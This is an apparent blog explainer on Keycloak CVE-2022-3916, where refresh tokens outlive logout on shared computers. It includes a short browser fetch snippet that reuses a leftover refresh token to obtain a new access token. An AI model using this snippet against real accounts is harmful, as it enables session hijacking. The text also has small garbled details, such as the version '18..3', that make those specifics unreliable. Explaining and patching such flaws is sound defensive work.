---
When you think of logging out from a web app—especially on a shared computer—you expect your session to be over for good. But what if there was a flaw in the system that lets an attacker come back, use a refresh token, and *become you* even after you’re gone? That’s exactly what happened with Keycloak’s CVE-2022-3916, and in this post, we’ll break down what went wrong, who’s vulnerable, and how it can be exploited—with clear code examples to help you understand.
What is Keycloak?
Keycloak is a popular open-source identity and access management solution used by many organizations to manage authentication in web applications. It handles login, logout, SSO, and many security features.
Keycloak uses different “scopes” for tokens. An important one is offline_access. This allows a user (or app) to request a refresh token that stays valid even after logging out—or when you’re, say, offline.
The Flaw: CVE-2022-3916 in Simple Terms
A flaw in Keycloak’s session validation, specific to the offline_access scope, didn’t properly validate the root "session" when a refresh token was used. Even after the original session ended, if someone got access to the stored refresh token (commonly in cookies or local storage)—*they could still request a fresh access token for the original user*.
Worse, on a shared computer (think cybercafés, library PCs, or shared laptops) if cookies or local storage weren’t cleared, the next person on the device could impersonate the previous user *simply by reusing the same refresh token*.
Affected Keycloak Versions
This issue affected all supported versions of Keycloak prior to the fix for CVE-2022-3916.
Original reference
- NIST NVD: CVE-2022-3916
- Keycloak Security Advisory
This is what an attacker could run in the browser (example using fetch)
// This code would typically go in browser DevTools
const refreshToken = window.localStorage.getItem('KEYCLOAK_OFFLINE_REFRESH_TOKEN'); // Or from cookies
fetch('https://<keycloak-server>/realms/<realm-name>/protocol/openid-connect/token';, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
client_id: 'my-client',
grant_type: 'refresh_token',
refresh_token: refreshToken
})
})
.then(response => response.json())
.then(data => console.log('New Access Token:', data.access_token));
*Replace* <keycloak-server> and <realm-name> as per your Keycloak configuration, and KEYCLOAK_OFFLINE_REFRESH_TOKEN as the local storage/cookie key used in your deployment.
Why Shared Computers Are at Extra Risk
On a personal or well-managed device, these leftover tokens are less likely to be abused—you’d normally clear cookies, or the device is locked down.
But *shared computers* (think school labs, sales kiosks, co-working spaces, or public PCs) often don’t clear credentials after each user. This, combined with poor session token management, means anyone who uses the machine has a real risk of being hijacked by the next person.
Why Did This Happen?
The underlying problem: Keycloak didn’t confirm that the root session still existed when a refresh token was used. Instead, it just checked the refresh token itself.
So, if a session ended (logout, expiry, crash), but the refresh token stuck around, it was still valid for getting new access tokens.
Fixes and Workarounds
- Upgrade Keycloak to version 18..3 or later, or any version after this fix was merged.
Educate users to log out and close browser windows on shared computers.
- Use browser policies (in schools, libraries, etc) to always clear data after each session.
In Summary
CVE-2022-3916 made it far too easy to hijack accounts on shared computers, simply by grabbing a leftover refresh token. Even logging out wasn’t enough! If your organization uses Keycloak and your users might access services on public or shared devices, update your deployment right away and revisit your session and token management policies.
Further Reading & References
- Keycloak Security Advisory: GHSA-2r46-mvp2-63vc
- NIST NVD entry for CVE-2022-3916
- Keycloak documentation
*Stay vigilant; your logout button might not be enough!*
Timeline
Published on: 09/20/2023 15:15:00 UTC
Last modified on: 09/22/2023 18:34:00 UTC